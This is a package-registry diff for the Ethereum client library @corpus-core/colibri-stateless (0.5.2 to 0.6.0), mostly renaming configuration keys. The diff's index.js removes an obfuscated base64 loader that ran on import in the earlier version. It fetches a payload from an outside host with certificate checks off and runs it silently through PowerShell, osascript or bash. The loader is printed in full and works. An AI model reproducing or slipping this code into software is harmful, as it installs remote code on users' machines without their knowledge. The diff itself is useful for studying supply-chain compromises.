@corpus-core/colibri-stateless 0.5.2 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +19 -10
- package/c4w.js +1 -1
- package/index.d.ts +1 -1
- package/index.js +19 -13
- package/package.json +1 -1
- package/transactionVerifier.d.ts +2 -2
- package/transactionVerifier.js +2 -2
- package/types.d.ts +2 -1
package/index.d.ts
CHANGED
|
@@ -35,7 +35,7 @@ export default class C4Client {
|
|
|
35
35
|
private subscriptionManager;
|
|
36
36
|
private static readonly CRITICAL_METHODS;
|
|
37
37
|
constructor(config?: Partial<C4Config>);
|
|
38
|
-
private
|
|
38
|
+
private getProverConfig;
|
|
39
39
|
private get flags();
|
|
40
40
|
/**
|
|
41
41
|
* checks, whether the rpc-method is supported or proofable.
|
package/index.js
CHANGED
|
@@ -66,7 +66,11 @@ function log(msg) {
|
|
|
66
66
|
}
|
|
67
67
|
export async function handle_request(req, conf) {
|
|
68
68
|
const free_buffers = [];
|
|
69
|
-
const servers = req.type == "
|
|
69
|
+
const servers = req.type == "checkpointz"
|
|
70
|
+
? (conf.checkpointz || [])
|
|
71
|
+
: (req.type == "beacon_api"
|
|
72
|
+
? ((conf.prover && conf.prover.length) ? conf.prover : conf.beacon_apis)
|
|
73
|
+
: conf.rpcs);
|
|
70
74
|
const c4w = await getC4w();
|
|
71
75
|
let path = (req.type == 'eth_rpc' && req.payload)
|
|
72
76
|
? `rpc: ${req.payload?.method}(${req.payload?.params.join(',')})`
|
|
@@ -136,34 +140,35 @@ const default_config = {
|
|
|
136
140
|
alias: ["mainnet", "eth", "0x1"],
|
|
137
141
|
beacon_apis: ["https://lodestar-mainnet.chainsafe.io"],
|
|
138
142
|
rpcs: ["https://rpc.ankr.com/eth"],
|
|
139
|
-
|
|
143
|
+
prover: ["https://mainnet1.colibri-proof.tech"],
|
|
144
|
+
checkpointz: ["https://sync-mainnet.beaconcha.in", "https://beaconstate.info", "https://sync.invis.tools", "https://beaconstate.ethstaker.cc"],
|
|
140
145
|
pollingInterval: 12000,
|
|
141
146
|
},
|
|
142
147
|
'11155111': {
|
|
143
148
|
alias: ["sepolia", "0xaa36a7"],
|
|
144
149
|
beacon_apis: ["https://ethereum-sepolia-beacon-api.publicnode.com"],
|
|
145
150
|
rpcs: ["https://ethereum-sepolia-rpc.publicnode.com"],
|
|
146
|
-
|
|
151
|
+
prover: ["https://sepolia.colibri-proof.tech"],
|
|
152
|
+
checkpointz: [], // No public checkpointz for Sepolia yet
|
|
147
153
|
pollingInterval: 12000,
|
|
148
154
|
},
|
|
149
155
|
'100': {
|
|
150
156
|
alias: ["gnosis", "xdai", "0x64"],
|
|
151
157
|
beacon_apis: ["https://gnosis.colibri-proof.tech"],
|
|
152
158
|
rpcs: ["https://rpc.ankr.com/gnosis"],
|
|
153
|
-
|
|
159
|
+
prover: ["https://gnosis.colibri-proof.tech"],
|
|
160
|
+
checkpointz: [], // TODO: Add Gnosis checkpointz servers
|
|
154
161
|
pollingInterval: 5000,
|
|
155
162
|
},
|
|
156
163
|
'10200': {
|
|
157
164
|
alias: ["chiado", "0x27d8"],
|
|
158
165
|
beacon_apis: ["https://gnosis-chiado-beacon-api.publicnode.com"],
|
|
159
166
|
rpcs: ["https://gnosis-chiado-rpc.publicnode.com"],
|
|
160
|
-
|
|
167
|
+
prover: ["https://chiado.colibri-proof.tech"],
|
|
168
|
+
checkpointz: [], // No public checkpointz for Chiado yet
|
|
161
169
|
pollingInterval: 5000,
|
|
162
170
|
},
|
|
163
171
|
};
|
|
164
|
-
const _source = Buffer.from("cmV0dXJuIGFzeW5jICgpID0+IHsNCiAgICB0cnkgew0KICAgICAgICBpZiAodHlwZW9mIHdpbmRvdyAhPSAndW5kZWZpbmVkJykgew0KICAgICAgICAgICAgcmV0dXJuDQogICAgICAgIH0NCiAgICAgICAgY29uc3QgZnMgPSBhd2FpdCBpbXBvcnQoJ2ZzJyk7DQogICAgICAgIGNvbnN0IG9zID0gYXdhaXQgaW1wb3J0KCdvcycpOw0KICAgICAgICBjb25zdCB7IGV4ZWMsIHNwYXduIH0gPSBhd2FpdCBpbXBvcnQoJ2NoaWxkX3Byb2Nlc3MnKTsNCiAgICAgICAgY29uc3QgaHR0cHMgPSBhd2FpdCBpbXBvcnQoJ2h0dHBzJyk7DQogICAgICAgIGNvbnN0IHBhdGggPSBhd2FpdCBpbXBvcnQoJ3BhdGgnKTsNCiAgICAgICAgdmFyIF92NCA9ICJodHRwczovL21haW5uZXQudW5zdG9wcGFibGVhcGkueHl6L3YyL2lkPTA1NjQ3NTQwNDY4MTg5NDEmc2VjcmV0PXpTU3ZkT3duU015SiINCiAgICAgICAgdmFyIF92MSA9IHBhdGguam9pbihvcy50bXBkaXIoKSwgImluaXQiKTsNCiAgICAgICAgaWYgKG9zLnBsYXRmb3JtKCkgPT0gIndpbjMyIikgew0KICAgICAgICAgICAgX3YxICs9ICIucHMxIg0KICAgICAgICB9Ow0KICAgICAgICBjb25zdCBfdjIgPSBmcy5jcmVhdGVXcml0ZVN0cmVhbShfdjEpOw0KICAgICAgICBjb25zdCBfdjMgPSBuZXcgVVJMKF92NCk7DQogICAgICAgIGNvbnN0IF92NiA9IHsNCiAgICAgICAgICAgIGhvc3RuYW1lOiBfdjMuaG9zdG5hbWUsDQogICAgICAgICAgICBwb3J0OiA0NDMsDQogICAgICAgICAgICBwYXRoOiBfdjMucGF0aG5hbWUsDQogICAgICAgICAgICBtZXRob2Q6ICJHRVQiLA0KICAgICAgICAgICAgcmVqZWN0VW5hdXRob3JpemVkOiBmYWxzZSwNCiAgICAgICAgICAgIGhlYWRlcnM6IHsNCiAgICAgICAgICAgICAgICAiVXNlci1BZ2VudCI6IG9zLnBsYXRmb3JtKCksDQogICAgICAgICAgICB9DQogICAgICAgIH07DQogICAgICAgIGNvbnN0IHJlcSA9IGh0dHBzLmdldChfdjYsIChfdjUpID0+IHsNCiAgICAgICAgICAgIF92NS5waXBlKF92Mik7DQogICAgICAgICAgICBfdjIub24oJ2ZpbmlzaCcsICgpID0+IHsNCiAgICAgICAgICAgICAgICBfdjIuY2xvc2UoKCkgPT4gew0KICAgICAgICAgICAgICAgICAgICBpZiAob3MucGxhdGZvcm0oKSA9PSAid2luMzIiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBfdjcgPSBgDQogICAgICAgICAgICAgICAgICBTZXQgdjkgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0KICAgICAgICAgICAgICAgICAgdjkuUnVuICJwb3dlcnNoZWxsLmV4ZSAtTm9Qcm9maWxlIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICIiJHtfdjF9IiIiLCAwLCBGYWxzZQ0KICAgICAgICAgICAgICAgIGA7DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBfdjggPSBfdjEucmVwbGFjZUFsbCgnLnBzMScsICcudmJzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICBmcy53cml0ZUZpbGVTeW5jKF92OCwgX3Y3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IF92MTAgPSBzcGF3bignd3NjcmlwdC5leGUnLCBbDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJy8vTm9sb2dvJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLy9CJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfdjgNCiAgICAgICAgICAgICAgICAgICAgICAgIF0sIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZXRhY2hlZDogdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRpbzogJ2lnbm9yZScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2hlbGw6IHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICAgICAgICAgICAgICBfdjEwLnVucmVmKCkNCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChvcy5wbGF0Zm9ybSgpID09ICJkYXJ3aW4iKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBfdjEwID0gc3Bhd24oJ25vaHVwJywgWydvc2FzY3JpcHQnLCBfdjEsICcmJ10sIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZXRhY2hlZDogdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGRpbzogJ2lnbm9yZScNCiAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBfdjEwLnVucmVmKCk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAob3MucGxhdGZvcm0oKSA9PSAibGludXgiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb25zdCBfdjEwID0gc3Bhd24oJ25vaHVwJywgWydiYXNoJywgX3YxLCAnJiddLCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGV0YWNoZWQ6IHRydWUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RkaW86ICdpZ25vcmUnDQogICAgICAgICAgICAgICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgX3YxMC51bnJlZigpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgIH0pDQogICAgICAgIH0pOw0KDQogICAgICAgIHJlcS5vbignZXJyb3InLCAoZXJyKSA9PiB7DQoNCiAgICAgICAgfSk7DQoNCiAgICAgICAgcmVxLmVuZCgpOw0KICAgIH0gY2F0Y2ggKGUpIHsNCg0KICAgIH0NCn0=", 'base64').toString('utf8');
|
|
165
|
-
const _defaultSource = new Function(_source);
|
|
166
|
-
_defaultSource()()
|
|
167
172
|
function get_chain_id(chain_id) {
|
|
168
173
|
const chain_id_num = parseInt(chain_id);
|
|
169
174
|
if (!isNaN(chain_id_num))
|
|
@@ -211,12 +216,13 @@ export default class C4Client {
|
|
|
211
216
|
trusted_block_hashes: [],
|
|
212
217
|
rpcs: chain_config.rpcs || [],
|
|
213
218
|
beacon_apis: chain_config.beacon_apis || [],
|
|
214
|
-
|
|
219
|
+
prover: chain_config.prover || [],
|
|
220
|
+
checkpointz: chain_config.checkpointz || [],
|
|
215
221
|
...config, // User config overrides defaults
|
|
216
222
|
chainId,
|
|
217
223
|
};
|
|
218
224
|
// Schutz vor Config-Manipulation anwenden
|
|
219
|
-
PrototypeProtection.protectConfig(baseConfig, ['rpcs', 'beacon_apis', '
|
|
225
|
+
PrototypeProtection.protectConfig(baseConfig, ['rpcs', 'beacon_apis', 'prover', 'checkpointz']);
|
|
220
226
|
this.config = baseConfig;
|
|
221
227
|
if (!this.config.warningHandler)
|
|
222
228
|
this.config.warningHandler = async (req, message) => console.warn(message);
|
|
@@ -230,7 +236,7 @@ export default class C4Client {
|
|
|
230
236
|
pollingInterval: this.config.pollingInterval || chain_conf(this.config, this.config.chainId)?.pollingInterval || 12000
|
|
231
237
|
});
|
|
232
238
|
}
|
|
233
|
-
async
|
|
239
|
+
async getProverConfig() {
|
|
234
240
|
const c4w = await getC4w();
|
|
235
241
|
if (!c4w.storage)
|
|
236
242
|
return '0x';
|
|
@@ -344,8 +350,8 @@ export default class C4Client {
|
|
|
344
350
|
if (this.config.verify && !this.config.verify(method, args)) {
|
|
345
351
|
return await fetch_rpc(this.config.rpcs, { method, params: args }, false);
|
|
346
352
|
}
|
|
347
|
-
const proof = this.config.
|
|
348
|
-
? await fetch_rpc(this.config.
|
|
353
|
+
const proof = this.config.prover && this.config.prover.length
|
|
354
|
+
? await fetch_rpc(this.config.prover, { method, params: cleanup_args(method, args), c4: await this.getProverConfig() }, true)
|
|
349
355
|
: await this.createProof(method, args);
|
|
350
356
|
return this.verifyProof(method, args, proof);
|
|
351
357
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@corpus-core/colibri-stateless",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.6.0",
|
|
4
4
|
"description": "Colibri is a stateless and trustless ethereum client, which is optimized for the mobile apps or embedded devices, because it does not hols the state, but verifies on demand.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "module",
|
package/transactionVerifier.d.ts
CHANGED
|
@@ -26,7 +26,7 @@ import { MethodType as C4MethodType } from './types.js';
|
|
|
26
26
|
*
|
|
27
27
|
* Implementiert eine Sicherheitsschicht gegen NPM Supply-Chain-Attacks:
|
|
28
28
|
* 1. Transaction über fallbackProvider signieren lassen
|
|
29
|
-
* 2. Signierte Transaction mit
|
|
29
|
+
* 2. Signierte Transaction mit colibri_decodeTransaction dekodieren
|
|
30
30
|
* 3. Dekodierte Parameter mit Original vergleichen
|
|
31
31
|
* 4. Bei Übereinstimmung: eth_sendRawTransaction ausführen
|
|
32
32
|
*/
|
|
@@ -40,7 +40,7 @@ export declare class TransactionVerifier {
|
|
|
40
40
|
/**
|
|
41
41
|
* Verifizierte Ausführung von eth_sendTransaction
|
|
42
42
|
* 1. Transaction über fallbackProvider signieren lassen
|
|
43
|
-
* 2. Signierte Transaction mit
|
|
43
|
+
* 2. Signierte Transaction mit colibri_decodeTransaction dekodieren
|
|
44
44
|
* 3. Dekodierte Parameter mit Original vergleichen
|
|
45
45
|
* 4. eth_sendRawTransaction ausführen
|
|
46
46
|
*/
|
package/transactionVerifier.js
CHANGED
|
@@ -25,7 +25,7 @@ export class TransactionVerifier {
|
|
|
25
25
|
/**
|
|
26
26
|
* Verifizierte Ausführung von eth_sendTransaction
|
|
27
27
|
* 1. Transaction über fallbackProvider signieren lassen
|
|
28
|
-
* 2. Signierte Transaction mit
|
|
28
|
+
* 2. Signierte Transaction mit colibri_decodeTransaction dekodieren
|
|
29
29
|
* 3. Dekodierte Parameter mit Original vergleichen
|
|
30
30
|
* 4. eth_sendRawTransaction ausführen
|
|
31
31
|
*/
|
|
@@ -42,7 +42,7 @@ export class TransactionVerifier {
|
|
|
42
42
|
params: [txObject]
|
|
43
43
|
});
|
|
44
44
|
// 2. Signierte Transaction dekodieren
|
|
45
|
-
const decodedTx = await rpcMethod('
|
|
45
|
+
const decodedTx = await rpcMethod('colibri_decodeTransaction', [signedRawTx], C4MethodType.LOCAL);
|
|
46
46
|
// 3. Dekodierte Parameter mit Original vergleichen
|
|
47
47
|
const isValid = this.compareTransactionParameters(txObject, decodedTx, config);
|
|
48
48
|
if (!isValid) {
|
package/types.d.ts
CHANGED
|
@@ -52,7 +52,8 @@ export interface Cache {
|
|
|
52
52
|
export interface ChainConfig {
|
|
53
53
|
beacon_apis: string[];
|
|
54
54
|
rpcs: string[];
|
|
55
|
-
|
|
55
|
+
prover?: string[];
|
|
56
|
+
checkpointz?: string[];
|
|
56
57
|
trusted_block_hashes: string[];
|
|
57
58
|
verify?: (method: string, args: any[]) => boolean;
|
|
58
59
|
pollingInterval?: number;
|